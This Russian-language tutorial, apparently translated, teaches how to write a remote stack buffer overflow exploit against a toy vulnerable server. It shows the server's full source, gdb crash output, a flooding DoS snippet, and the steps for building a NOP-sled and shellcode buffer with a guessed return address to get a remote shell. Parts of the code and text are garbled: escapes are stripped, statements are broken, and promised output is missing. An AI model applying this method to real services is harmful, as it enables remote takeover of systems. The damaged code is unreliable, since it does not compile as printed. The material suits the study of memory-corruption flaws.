Это моя первая статья по написанию эксплоитов, в которой я расскажу
вам о том, как пишутся remote exploits. Для понимания статьи вы должны
знать ANSI C, программирование сокетов на C, и, я надеюсь, вы знаете
как работают local exploits. Если не знаете, вот список литературы,
которая поможет вам разобраться в этих вопросах:
* The C Programming language (Kernighan/Ritchie)
* Unix Network Programming (Richard Stevens)
* Хорошая статья, правда на английском ;], Smashing The Stack For Fun
And Profit автор aleph1
Поиск уязвимости в коде.
Что мы должны делать ? Мы хотим найти уязвимость в программе
(vulnerable.c) и написать эксплоит для этой уязвимости, который даст
нам удаленный shell. Для этого Вы должны проанализировать код
vulnerable.c, найти уязвимость, скомпилировать vulnerable.c и
попытаться "эксплуатировать". Если вы не знаете как это делается,
тогда давайте вместе взглянем на код уязвимой программы...
Смотрим на функции уязвимой программы, ищем ту которая содержит
уязвимость BOF, думаем ;], определяем структуру будущего эксплоита и в
конечном итоге пишем эксплоит.
vulnerable.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ;
sprintf(buffer, "Hello %s, nice to meet you!rn", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;
}
int main(int argc, char *argv[])
{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s portn", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}
./vulnerable 8080 - это означает, что вы запустили("повесили")
сервис(./vulnerable) на 8080 порт, можно повесить на любой другой
порт, кроме привилегированных портов(1-1024), т.к. Вы - не root.
Чтож, мы скомпилировали программу и теперь знаем как она
запускается... а запускается она с нашими параметрами.
program <port>
Пришло время узнать некоторые адреса в программе и посмотреть как она
устроена. Для этого запустим её под отладчиком gdb ...
Сделаем следующее:
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
Теперь программа "слушает" 8080 порт.
Соединимся через telnet или netcat c 8080 портом.
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
Hello Robin, nice to meet you!
Connection closed by foreign host.
user@linux:~/ >
Как видите это просто программа, которая не делает ничего кроме, как
запрашивает у нас имя и выводит его обратно на экран с приветствием..
Ок, смотрим дальше...
Пока мы проделывали это, gdb (debugger) вывел вот такую строку на
экран:
client from 127.0.0.1 0xbffff28c
/*Не пугайтесь, если адрес будет отличаться на вашем компьютере, на моём это было 0xbffff28c */
Ок, наша программа(сервер) все еще запущена в памяти, т.к. она
выполняется в цикле, до тех пор пока мы не kill'нем её.
Переполнение в программе.
Давайте кое-что протестируем...
Сейчас мы переконнектимся к нашему "сервису" на 8080 порт и введем
более 1024 байт на запрос: "My name is:..."
Это будет выглядеть так:
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: AAAAAAAAAAAAAAAAAAAAAAAAA....{более 1024 символов "A"}
....AAAAAAAAAAAAAAAAAAAA
Наш telnet-клиент отконнектился... но почему ? Давайте взглянем на
вывод отладчика gdb:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
// Не закрывайте gdb!!
Что произошло? Как мы видим регистр EIP принял значение 0x41414141,
возможно вы знаете почему ? ;]
Ок, я попытаюсь обьяснить это. 0x41 это ascii-code A... Мы ввели более
1024 байта(в данном случае 2048 - прим.пер.), программа попыталась
скопировать строку name[2048] в buffer[1024].... т.к. строка
name[2048] больше, чем 1024, то name[] перезаписал buffer[], а так же
перезаписал сохраненный в стеке регистр EIP(extended instruction
pointer, в данном случае в нем хранится адрес возврата из функции)..
наш буфер выглядит приблизительно так:
Так же вы видите как выглядит наш стек, содержащий 1024-байтовый буфер
и сохранненый перед ним адрес возврата (EIP)
//Не забывайте!!! Регистр EIP имеет размер 4 байта!
После перезаписи адреса возврата нашим буфером в стеке, когда уязвимая
функция попыталась вернуть управление в main(), EIP восстановился из
стека и стал равен 0x41414141, управление передалось коду по этому
адресу... и мы получили всеми любимый segmentation fault ;].
Давайте напишем тулзу для DoS'а(программа будет просто выпадать с
segmentation fault, как в нашем случае) нашей программы("сервера"):
for(i = 0; i < 2048; i++)
buffer[i] = 'A';
printf("buffer is: %sn", buffer);
printf("buffer filled... now sending buffern");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent.n");
close(s);
return 0;
}
Поиск адреса возврата.
Первым делом идем в gdb для поиска esp... я надеюсь вы не закрывали
gdb после получения SEGFAULT...и набираем там x/200bx $esp-200 (мануал
о командах gdb на русском можно скачать тут
http://forumer.com/index.php?mforum=code&act=Attach&type=post&id=16
-прим.пер.), увидим что-то похожее на:
Итак, теперь мы знаем, где перезаписывается наш буфер.. давайте
возьмём один из этих адресов. Чуть позже я покажу вам, почему именно
так..(потому что мы должны угадать адрес), возможно вы слышали о
NOP-технике.. это повысит наши шансы для определения адреса возврата.
Внимание! лучше выбирать адрес, лежащий где-то посередине нашего
буфера, состоящего из 0x41, остальное мы перезапишем NOP'ами..
Структура эксплоита.
Итак, мы имеем приблизительный адрес возврата... Структура нашего
эксплоита будет такой:
[1]. Находим значение esp... мы уже сделали это.(мы возьмем адрес
возврата близкий к esp, это не вызовет никаких проблем, т.к. буфер мы
заполним NOP'ами).. теперь вам надо найти хороший shellcode, который
заbind'ит шелл на определенный порт..Не забывайте: в remote эксплоитах
мы не можем использовать шеллкоды, написанные для local exploits.. В
сети множество portbinder shellcodes вы без труда их найдете.
[2]. Определим буфер, который больше, чем 1024 байта. Возьмем его
равным 1064 байта, это не вызовет никаких проблем с перезаписью адреса
возврата.
[3]. Подготовим буфер. Первым делом заполним его NOP'ами:
memset(buffer, 0x90, 1064);
[4].Скопируем шеллкод в буфер:
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
Мы поместили шеллкод в середину нашего буфера. Почему? Ок, если мы
имеем достаточное количество NOP'ов в начале буфера, наши шансы
передать управление на шеллкод и выполнить его увеличиваются.
[5]. Убираем nullbyte из буфера:
buffer[1000] = 0x90; // 0x90 - опкод команды NOP
[6]. Скопируем адрес возврата в конец нашего буфера:
for(i = 1022; i < 1059; i+=4)
{
((int *) &buffer[i]) = RET;
// RET - адрес возврата, который мы используем ... определяется в
#define
}
Мы знаем, что буфер заканчивается 1024 байтом, но мы начнем копировать
с 1022 байта(определяется обычно экспериментальным путем -прим.пер.) и
до 1059 байта. Этого будет достаточно потому, что мы _уже_
перезаписали сохраненный в стеке EIP.(мы надеемся на это *g*)
[7]. Добавим nullbyte в конец подготовленного буфера:
buffer[1063] = 0x0;
Всё теперь буфер готов к отправке хосту-жертве... отправляем либо по
ip, либо по hostname.